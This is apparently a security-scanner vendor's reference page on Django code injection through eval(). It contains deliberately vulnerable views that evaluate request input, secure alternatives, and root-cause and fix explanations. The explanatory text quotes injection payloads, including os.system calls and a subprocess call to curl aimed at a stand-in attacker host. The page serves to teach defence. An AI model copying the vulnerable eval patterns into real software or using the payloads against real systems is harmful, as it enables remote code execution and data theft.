Django Code Injection via User eval()

Critical Risk Code Injection
djangopythoncode-injectionevalremote-code-executionuser-input

What it is

The Django application uses the eval() function with user-controlled input, allowing attackers to execute arbitrary Python code. This vulnerability can lead to complete system compromise, data theft, privilege escalation, and unauthorized access to server resources.

# Vulnerable: Django views using eval() with user input from django.http import JsonResponse from django.views import View from django.shortcuts import render # Extremely dangerous: eval() with user input class CalculatorView(View): def get(self, request): expression = request.GET.get('expr', '') try: # CRITICAL VULNERABILITY: eval() with user input result = eval(expression) return JsonResponse({'result': result}) except Exception as e: return JsonResponse({'error': str(e)}) # Another dangerous pattern def dynamic_filter(request): model_name = request.GET.get('model', 'MyModel') filter_expr = request.GET.get('filter', '') # Dangerous: Dynamic code execution code = f"from myapp.models import {model_name}" exec(code) # Even more dangerous: eval with user filter filter_code = f"{model_name}.objects.filter({filter_expr})" try: result = eval(filter_code) return JsonResponse({'count': result.count()}) except Exception as e: return JsonResponse({'error': str(e)}) # Template processing vulnerability def process_user_template(request): template_code = request.POST.get('template', '') context_data = request.POST.get('context', '{}') try: # Dangerous: eval() for context context = eval(context_data) # Dangerous: eval() for template processing processed = eval(f"f'{template_code}'", context) return JsonResponse({'rendered': processed}) except Exception as e: return JsonResponse({'error': str(e)}) # Configuration processing def update_config(request): if request.method == 'POST': config_updates = request.POST.get('config', '') try: # Dangerous: eval() for configuration new_config = eval(config_updates) # Apply configuration for key, value in new_config.items(): setattr(settings, key, value) return JsonResponse({'status': 'config_updated'}) except Exception as e: return JsonResponse({'error': str(e)}) # Data transformation def transform_data(request): data = request.POST.get('data', '[]') transform_func = request.POST.get('transform', 'lambda x: x') try: # Dangerous: eval() for data and transformation data_list = eval(data) transform = eval(transform_func) result = [transform(item) for item in data_list] return JsonResponse({'transformed': result}) except Exception as e: return JsonResponse({'error': str(e)})
# Secure: Safe alternatives to eval() in Django from django.http import JsonResponse from django.views import View from django.shortcuts import render from django.core.exceptions import ValidationError import ast import operator import re import json # Safe: Mathematical expression evaluation class SafeCalculatorView(View): def get(self, request): expression = request.GET.get('expr', '') # Validate expression format if not self.is_safe_expression(expression): return JsonResponse({'error': 'Invalid expression format'}, status=400) try: result = self.safe_eval(expression) return JsonResponse({'result': result}) except (ValueError, ZeroDivisionError) as e: return JsonResponse({'error': 'Calculation error'}, status=400) def is_safe_expression(self, expr): # Only allow safe mathematical characters if not re.match(r'^[0-9+\-*/().\s]+$', expr): return False # Limit length if len(expr) > 100: return False return True def safe_eval(self, expression): # Define allowed operations allowed_ops = { ast.Add: operator.add, ast.Sub: operator.sub, ast.Mult: operator.mul, ast.Div: operator.truediv, ast.USub: operator.neg, ast.UAdd: operator.pos } def eval_node(node): if isinstance(node, ast.Constant): # Numbers return node.value elif isinstance(node, ast.Num): # Python < 3.8 return node.n elif isinstance(node, ast.BinOp): left = eval_node(node.left) right = eval_node(node.right) op = allowed_ops.get(type(node.op)) if op is None: raise ValueError('Unsupported operation') return op(left, right) elif isinstance(node, ast.UnaryOp): operand = eval_node(node.operand) op = allowed_ops.get(type(node.op)) if op is None: raise ValueError('Unsupported operation') return op(operand) else: raise ValueError('Unsupported expression') try: tree = ast.parse(expression, mode='eval') return eval_node(tree.body) except (SyntaxError, ValueError) as e: raise ValueError('Invalid expression') # Safe: Model filtering with allowlists def safe_dynamic_filter(request): model_name = request.GET.get('model', '') filter_field = request.GET.get('field', '') filter_value = request.GET.get('value', '') # Use allowlists for models and fields allowed_models = { 'user': User, 'post': Post, 'comment': Comment } allowed_fields = { 'user': ['username', 'email', 'is_active'], 'post': ['title', 'status', 'created_date'], 'comment': ['content', 'approved'] } if model_name not in allowed_models: return JsonResponse({'error': 'Model not allowed'}, status=400) if filter_field not in allowed_fields.get(model_name, []): return JsonResponse({'error': 'Field not allowed'}, status=400) try: model_class = allowed_models[model_name] # Safe: Use Django ORM with validated parameters filter_kwargs = {filter_field: filter_value} queryset = model_class.objects.filter(**filter_kwargs) return JsonResponse({'count': queryset.count()}) except Exception as e: return JsonResponse({'error': 'Filter failed'}, status=400) # Safe: Template processing def safe_process_user_template(request): template_name = request.POST.get('template', '') context_data = request.POST.get('context', '{}') # Use allowlist for templates allowed_templates = [ 'user_welcome.html', 'order_confirmation.html', 'newsletter.html' ] if template_name not in allowed_templates: return JsonResponse({'error': 'Template not allowed'}, status=400) try: # Safe: JSON deserialization context = json.loads(context_data) # Validate context structure validated_context = validate_template_context(context) # Safe: Use Django template system from django.template.loader import render_to_string rendered = render_to_string(template_name, validated_context) return JsonResponse({'rendered': rendered}) except (json.JSONDecodeError, ValidationError) as e: return JsonResponse({'error': 'Invalid context data'}, status=400) def validate_template_context(context): if not isinstance(context, dict): raise ValidationError('Context must be a dictionary') allowed_keys = {'user_name', 'order_id', 'amount', 'date', 'items'} validated = {} for key, value in context.items(): if key in allowed_keys: # Type validation and sanitization if key == 'user_name' and isinstance(value, str): validated[key] = value[:50] # Limit length elif key == 'order_id' and isinstance(value, (str, int)): validated[key] = str(value) elif key == 'amount' and isinstance(value, (int, float)): validated[key] = float(value) elif key == 'date' and isinstance(value, str): # Validate date format from datetime import datetime try: datetime.strptime(value, '%Y-%m-%d') validated[key] = value except ValueError: pass # Skip invalid dates elif key == 'items' and isinstance(value, list): validated[key] = value[:10] # Limit items return validated # Safe: Configuration updates def safe_update_config(request): if request.method == 'POST': try: # Safe: JSON deserialization config_updates = json.loads(request.body) # Validate updates validated_updates = validate_config_updates(config_updates) # Apply validated configuration apply_config_updates(validated_updates) return JsonResponse({'status': 'config_updated'}) except (json.JSONDecodeError, ValidationError) as e: return JsonResponse({'error': 'Invalid configuration'}, status=400) def validate_config_updates(updates): if not isinstance(updates, dict): raise ValidationError('Configuration must be a dictionary') allowed_configs = { 'debug': bool, 'page_size': int, 'timeout': int, 'feature_flags': dict } validated = {} for key, value in updates.items(): if key in allowed_configs: expected_type = allowed_configs[key] if isinstance(value, expected_type): # Additional validation if key == 'page_size' and 1 <= value <= 100: validated[key] = value elif key == 'timeout' and 1 <= value <= 300: validated[key] = value elif key == 'debug' and isinstance(value, bool): validated[key] = value elif key == 'feature_flags' and isinstance(value, dict): # Validate feature flags validated[key] = {k: bool(v) for k, v in value.items() if isinstance(k, str) and len(k) <= 50} return validated # Safe: Data transformation def safe_transform_data(request): try: # Safe: JSON deserialization data = json.loads(request.POST.get('data', '[]')) transform_type = request.POST.get('transform', '') # Use predefined transformations allowed_transforms = { 'uppercase': lambda x: x.upper() if isinstance(x, str) else x, 'lowercase': lambda x: x.lower() if isinstance(x, str) else x, 'double': lambda x: x * 2 if isinstance(x, (int, float)) else x, 'truncate': lambda x: x[:10] if isinstance(x, str) else x } if transform_type not in allowed_transforms: return JsonResponse({'error': 'Transform not allowed'}, status=400) if not isinstance(data, list) or len(data) > 1000: return JsonResponse({'error': 'Invalid data format or too large'}, status=400) transform_func = allowed_transforms[transform_type] result = [transform_func(item) for item in data] return JsonResponse({'transformed': result}) except (json.JSONDecodeError, TypeError) as e: return JsonResponse({'error': 'Data transformation failed'}, status=400)

💡 Why This Fix Works

See fix suggestions for detailed explanation.

Why it happens

Django applications implement calculator or formula evaluation features using Python's eval() function to execute user-provided mathematical expressions, enabling code injection when attackers submit malicious code disguised as arithmetic operations. Calculator views that directly evaluate query parameters: result = eval(request.GET['expression']) execute arbitrary Python code when expression = '__import__("os").system("whoami")' instead of '2 + 2'. API endpoints accepting formula strings for data processing, report generation, or statistical calculations: eval(request.POST['formula']) allows attackers to inject import statements, function calls, or object manipulation. Financial calculators, unit converters, or scientific computation endpoints using eval() for mathematical operations: eval(f"({amount} * {rate}) + {fee}") becomes exploitable when rate = '__import__("subprocess").run(["curl", "attacker.com"])'. Django forms with custom validation using eval() to check complex rules: if eval(validation_expression): raise ValidationError() executes attacker-controlled validation logic. RESTful APIs returning calculated fields: serializer_data['computed'] = eval(computation_string) enables code execution through API responses. The pattern appears safe for simple math but eval() executes any valid Python expression including imports, attribute access, function calls, and class instantiation, providing complete code execution capabilities regardless of mathematical context.

Root causes

Using eval() to Process User-Provided Mathematical Expressions

Django applications implement calculator or formula evaluation features using Python's eval() function to execute user-provided mathematical expressions, enabling code injection when attackers submit malicious code disguised as arithmetic operations. Calculator views that directly evaluate query parameters: result = eval(request.GET['expression']) execute arbitrary Python code when expression = '__import__("os").system("whoami")' instead of '2 + 2'. API endpoints accepting formula strings for data processing, report generation, or statistical calculations: eval(request.POST['formula']) allows attackers to inject import statements, function calls, or object manipulation. Financial calculators, unit converters, or scientific computation endpoints using eval() for mathematical operations: eval(f"({amount} * {rate}) + {fee}") becomes exploitable when rate = '__import__("subprocess").run(["curl", "attacker.com"])'. Django forms with custom validation using eval() to check complex rules: if eval(validation_expression): raise ValidationError() executes attacker-controlled validation logic. RESTful APIs returning calculated fields: serializer_data['computed'] = eval(computation_string) enables code execution through API responses. The pattern appears safe for simple math but eval() executes any valid Python expression including imports, attribute access, function calls, and class instantiation, providing complete code execution capabilities regardless of mathematical context.

Dynamic Code Execution Based on User Input

Django applications use eval() to implement dynamic functionality where user input determines which code executes, creating direct code injection vectors through administrative interfaces, plugin systems, or extensibility features. Admin panels allowing administrators to define custom business logic: eval(request.POST['custom_logic']) trusts admin users without recognizing that compromised admin accounts or malicious insiders exploit this pattern. Plugin or extension systems that accept Python code snippets: plugin_code = request.POST['plugin']; eval(plugin_code) enables code execution through plugin installation interfaces. Workflow automation tools allowing users to define processing steps: for step in workflow_steps: eval(step['action']) executes user-defined actions without sandboxing. Rule engines where users define conditional logic: if eval(rule['condition']): execute(rule['action']) evaluates user-defined conditions as executable code. API versioning or feature flag implementations using dynamic code: eval(f"get_handler_v{api_version}()") allows version parameter injection. Scheduled task systems accepting Python expressions: scheduled_task = eval(request.data['task_definition']) enables code injection through task scheduling. Developer tools or debugging endpoints exposing eval() for convenience during development but remaining enabled in production: eval(request.GET['debug_expr']) creates permanent vulnerabilities when debug functionality ships to production.

Processing Configuration or Template Strings with eval()

Django applications use eval() to parse configuration files, process template strings, or deserialize application settings, treating configuration data as executable code rather than static data structures. Configuration management endpoints that evaluate settings: new_config = eval(config_string); settings.update(new_config) executes code embedded in configuration. Environment variable processing using eval() for type conversion: DEBUG = eval(os.environ.get('DEBUG', 'False')) enables code injection through environment variables in containerized deployments. Template processing that evaluates template syntax: rendered = eval(f"f'{template_string}'") combines format strings with eval() for double injection risk. Django settings modules using eval() for complex configuration: ALLOWED_HOSTS = eval(config['allowed_hosts']) enables code execution during application initialization. Database-driven configuration where settings are stored in database tables and evaluated: config_value = eval(ConfigModel.objects.get(key='setting').value) persists code injection through database records. Import/export functionality that deserializes configuration as code: imported_settings = eval(uploaded_file.read()) treats uploaded files as executable Python. Feature flag systems using eval() to determine feature state: if eval(feature_flag_expression): enable_feature() allows code injection through feature management interfaces.

Evaluating User-Provided Python Code Snippets

Django applications intentionally accept Python code snippets from users for educational platforms, code execution services, online interpreters, or developer tools, using eval() without proper sandboxing or security controls. Online Python interpreters or learning platforms: eval(student_code) executes submitted code in the same process as the Django application, providing access to all application resources and Django framework internals. Code evaluation APIs for automated testing or CI/CD: eval(test_code) runs user tests without isolation, enabling access to production databases, credentials, or internal services. Developer playgrounds or API testing tools: eval(request.POST['code_snippet']) intended for convenience becomes critical vulnerability when exposed publicly. Data science platforms accepting analysis scripts: eval(analysis_code) on user-uploaded datasets executes arbitrary code with access to sensitive data and infrastructure. Template customization features allowing users to write Python logic: eval(custom_template_logic) enables code injection through theme or layout customization. Macro or scripting systems: eval(macro_definition) executes user-defined macros without sandboxing. Code golf or programming challenge platforms: eval(solution_code) runs submissions without isolation, allowing contestants to attack infrastructure rather than solve problems.

Missing Input Validation Before eval() Calls

Django applications use eval() without implementing adequate input validation, sanitization, or allowlist checks, assuming that basic string validation or character filtering prevents code injection when eval() makes any such validation insufficient. Length limits on expressions: if len(expression) <= 100: result = eval(expression) fail because short expressions like '__import__("os").system("ls")' execute code within length constraints. Character allowlists that miss dangerous characters: if all(c in '0123456789+-*/' for c in expr): eval(expr) fail when attackers use backticks, dollar signs, or other shell metacharacters. Attempts to block dangerous keywords: if 'import' not in user_input and 'exec' not in user_input: eval(user_input) fail because Python provides numerous code execution vectors: __import__(), compile(), getattr(), eval() nesting, or attribute access to dangerous objects. Regex validation that attempts to detect code patterns: if not re.search(r'__.*__', expr): eval(expr) fails to block all magic method access patterns. Type checking after eval(): result = eval(input); if isinstance(result, (int, float)): use(result) validates too late—code executes before type check. Escaping or sanitization attempts: safe_input = input.replace('import', ''); eval(safe_input) fail because simple string replacement is insufficient and bypassable. The fundamental issue: eval() executes any valid Python expression, and restricting Python syntax to safe subsets through string validation is impractical—blocklists are incomplete, allowlists miss edge cases, and Python's dynamic nature provides countless execution vectors that no validation catches comprehensively.

Fixes

1

Never Use eval() with User Input - Use ast.literal_eval() for Literals

Completely eliminate eval() from all code paths processing user input, replacing it with ast.literal_eval() for parsing literal values or implementing purpose-built safe alternatives for specific use cases. Replace eval() for data deserialization with ast.literal_eval(): data = ast.literal_eval(user_input) safely parses strings, numbers, tuples, lists, dicts, sets, booleans, and None without executing code or calling functions, raising ValueError or SyntaxError for malicious input containing imports, function calls, or code execution attempts. Use ast.literal_eval() for configuration parsing: config_value = ast.literal_eval(config_string) converts string representations of Python literals to objects safely. For JSON-compatible data, prefer json.loads() over ast.literal_eval(): data = json.loads(user_input) provides stricter parsing guarantees and better error handling. Audit entire codebase for eval() usage: grep -r 'eval(' identifies all instances requiring remediation, prioritize by proximity to user input, replace with safe alternatives. Implement code review policies requiring security team approval for any eval() usage: establish that eval() with user input is forbidden, violations block pull requests. Configure static analysis tools to flag eval() as critical errors: use Bandit (B307, B701), Semgrep, or CodeQL rules detecting eval() patterns, integrate into CI/CD pipelines as blocking checks. Document eval() prohibition in coding standards: provide examples of safe alternatives for common use cases (mathematical evaluation, data parsing, configuration processing), train developers on risks. For legacy systems containing eval(), create deprecation roadmap: identify all uses, assess replacement complexity, prioritize high-risk user-facing endpoints, track migration progress.

2

Implement Safe Expression Parsers for Mathematical Operations

Replace eval()-based mathematical expression evaluation with safe parser libraries or custom AST validators that execute arithmetic operations without arbitrary code execution capabilities. Use simpleeval library for math expressions: from simpleeval import simple_eval; result = simple_eval(user_expression, functions={'sqrt': math.sqrt, 'abs': abs}) provides calculator functionality with restricted function allowlist, preventing imports, attribute access, or code execution while supporting mathematical operations. Implement asteval for advanced expressions: from asteval import Interpreter; aeval = Interpreter(); aeval.symtable['pi'] = math.pi; result = aeval(user_expression) creates sandboxed interpreter with explicit symbol table, no import capabilities, and safe function definitions. Build custom AST validators for maximum control: parse expressions with ast.parse(), walk AST nodes validating against allowlist (ast.BinOp, ast.UnaryOp, ast.Constant for numbers allowed; ast.Call, ast.Import, ast.Attribute forbidden), compile and evaluate only validated expressions: tree = ast.parse(expr, mode='eval'); validate_safe_nodes(tree); result = eval(compile(tree, '<string>', 'eval')) where validate_safe_nodes() ensures no dangerous operations. Use operator module for safe arithmetic: OPERATIONS = {'+': operator.add, '-': operator.sub, '*': operator.mul, '/': operator.truediv, '**': operator.pow}; result = OPERATIONS[user_op](operand1, operand2) performs operations without eval(). For complex math, use SymPy with safe evaluation: from sympy import sympify, N; expr = sympify(user_input, evaluate=False); result = N(expr) parses mathematical expressions safely. Implement expression tree evaluation: parse infix notation to tree structure, evaluate tree nodes recursively using operator functions, never executing strings as code. Document safe math evaluation patterns: establish team standards for calculator implementations, provide reusable safe_eval() utility functions, prohibit eval() for any mathematical purpose.

3

Use Allowlists for Permitted Operations and Functions

Implement strict allowlist-based architectures where only explicitly permitted operations, functions, models, or fields can be dynamically invoked, eliminating code injection by restricting functionality to predefined safe operations. Define operation allowlists for dynamic dispatch: ALLOWED_OPERATIONS = {'calculate_sum': calculate_sum, 'calculate_average': calculate_average, 'calculate_total': calculate_total}; if operation_name not in ALLOWED_OPERATIONS: raise ValueError('Operation not permitted'); result = ALLOWED_OPERATIONS[operation_name](data) maps user input to safe function references without eval(). Create model and field allowlists for dynamic queries: ALLOWED_MODELS = {'User': User, 'Post': Post}; ALLOWED_FIELDS = {'User': ['username', 'email'], 'Post': ['title', 'content']}; if model_name not in ALLOWED_MODELS or field_name not in ALLOWED_FIELDS[model_name]: raise ValueError('Not allowed'); Model = ALLOWED_MODELS[model_name]; queryset = Model.objects.filter(**{field_name: value}) safely constructs ORM queries. Implement function allowlists for template customization: ALLOWED_FUNCTIONS = {'len': len, 'sum': sum, 'max': max, 'min': min, 'sorted': sorted}; result = ALLOWED_FUNCTIONS[func_name](data) provides dynamic functionality without code execution. Use Django's get_model() with allowlists: from django.apps import apps; if f'{app_label}.{model_name}' in ALLOWED_MODEL_PATHS: model = apps.get_model(app_label, model_name) safely retrieves models. For transformation pipelines, allowlist transformations: TRANSFORMS = {'uppercase': str.upper, 'lowercase': str.lower, 'strip': str.strip}; transformed = TRANSFORMS[transform_type](value) applies operations safely. Document allowlist maintenance: require security review for allowlist additions, justify each permitted operation, audit allowlists during security assessments.

4

Validate and Sanitize All User Input Before Processing

Implement comprehensive input validation using schemas, type checking, regular expressions, and length limits to ensure user input cannot contain code injection payloads even if accidentally processed unsafely. Define JSON schemas for API inputs: schema = {'type': 'object', 'properties': {'expression': {'type': 'string', 'pattern': '^[0-9+\-*/() .]+$', 'maxLength': 100}}}; jsonschema.validate(user_input, schema) validates structure, types, format, and content before processing. Use Django forms for validation: class ExpressionForm(forms.Form): expression = forms.CharField(max_length=100, validators=[RegexValidator(r'^[0-9+\-*/() ]+$')]); form = ExpressionForm(request.GET); if form.is_valid(): safe_expr = form.cleaned_data['expression'] applies built-in validation. Implement character allowlists for string inputs: SAFE_CHARS = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 '); if not all(c in SAFE_CHARS for c in user_input): raise ValidationError('Contains invalid characters') blocks injection attempts. Apply strict length limits: MAX_LENGTH = 1000; if len(user_input) > MAX_LENGTH: raise ValidationError('Input too long') prevents excessively large malicious payloads. Use type coercion for validation: try: value = int(user_input); except ValueError: raise ValidationError('Must be integer') ensures data types match expectations. For enumerated inputs, use strict allowlists: ALLOWED_VALUES = {'option1', 'option2', 'option3'}; if value not in ALLOWED_VALUES: raise ValidationError('Invalid value') restricts to known-safe choices. Validate complex structures recursively: for nested objects, validate each level ensuring no code strings exist at any depth. Log validation failures: capture rejected inputs (sanitized) to security monitoring for attack pattern detection and incident response.

5

Design APIs to Accept Structured Data Instead of Code

Redesign application architecture to use structured JSON/XML data formats specifying operations declaratively rather than accepting executable code strings, eliminating code injection attack surface at the design level. Replace code string APIs with structured operation requests: instead of POST /calculate {"code": "x * 2"}, design POST /calculate {"operation": "multiply", "operand": 2, "value": 5} specifying operations as data. For filtering APIs, use structured filter criteria: {"filters": [{"field": "status", "operator": "equals", "value": "active"}, {"field": "price", "operator": "greater_than", "value": 100}]} explicitly defines filter logic without code execution. Implement transformation pipelines as data: {"transformations": [{"type": "uppercase", "field": "name"}, {"type": "multiply", "field": "quantity", "factor": 2}]} describes transformation sequence declaratively. For business rules, use rule engines with structured definitions: {"conditions": [{"all": [{"fact": "age", "operator": "greaterThan", "value": 18}]}], "event": {"type": "approve_application"}} defines rules as data structures. Use GraphQL for complex query requirements: GraphQL schema provides structured query language preventing code injection while supporting flexible data retrieval. Design aggregation APIs with structured specifications: {"groupBy": "category", "aggregations": [{"type": "sum", "field": "amount"}, {"type": "count"}]} requests aggregations without custom code. For plugin systems, use well-defined extension points: define interfaces, register implementations, invoke through dependency injection rather than evaluating plugin code strings. Document API design patterns: establish organizational standards for structured data APIs, provide examples, prohibit code-as-input patterns.

6

Use Django's Template System for Dynamic Content Generation

Replace eval()-based template processing and dynamic content generation with Django's built-in template system that provides safe variable substitution, automatic escaping, and sandboxed execution environment. Use Django templates for variable substitution: from django.template import Template, Context; template = Template('Hello {{ name }}!'); rendered = template.render(Context({'name': user_input})) safely substitutes variables with automatic HTML escaping, preventing XSS and code injection. Configure templates for maximum security: TEMPLATES = [{'OPTIONS': {'autoescape': True, 'string_if_invalid': '', 'debug': False}}] enables autoescaping, handles undefined variables safely, disables debug mode in production. Create custom template filters for transformations: @register.filter def safe_calculate(value, arg): return validated_math_operation(value, arg) encapsulates logic in Python with validation rather than eval(). Use template tags for complex operations: {% load custom_tags %}{% calculate_total order.items %} delegates to controlled Python code preventing injection. For file-based templates, use get_template(): from django.template.loader import get_template; template = get_template('user_template.html'); rendered = template.render(context) separates template structure from data. Implement template allowlisting: maintain approved template list, validate template names against allowlist before rendering, prevent user-specified template paths. For API responses, use Django REST Framework serializers: class DataSerializer(serializers.Serializer): result = serializers.CharField(); computed = serializers.SerializerMethodField() provides safe serialization with computed fields using Python methods not eval(). Restrict template context: provide only necessary variables, avoid passing request or sensitive objects, filter context to safe data only. Use Jinja2 with autoescape if needed: from jinja2 import Environment, select_autoescape; env = Environment(autoescape=select_autoescape(['html', 'xml'])); template = env.from_string(template_str) provides alternative with similar safety guarantees.

Detect This Vulnerability in Your Code

Sourcery automatically identifies django code injection via user eval() and many other security issues in your codebase.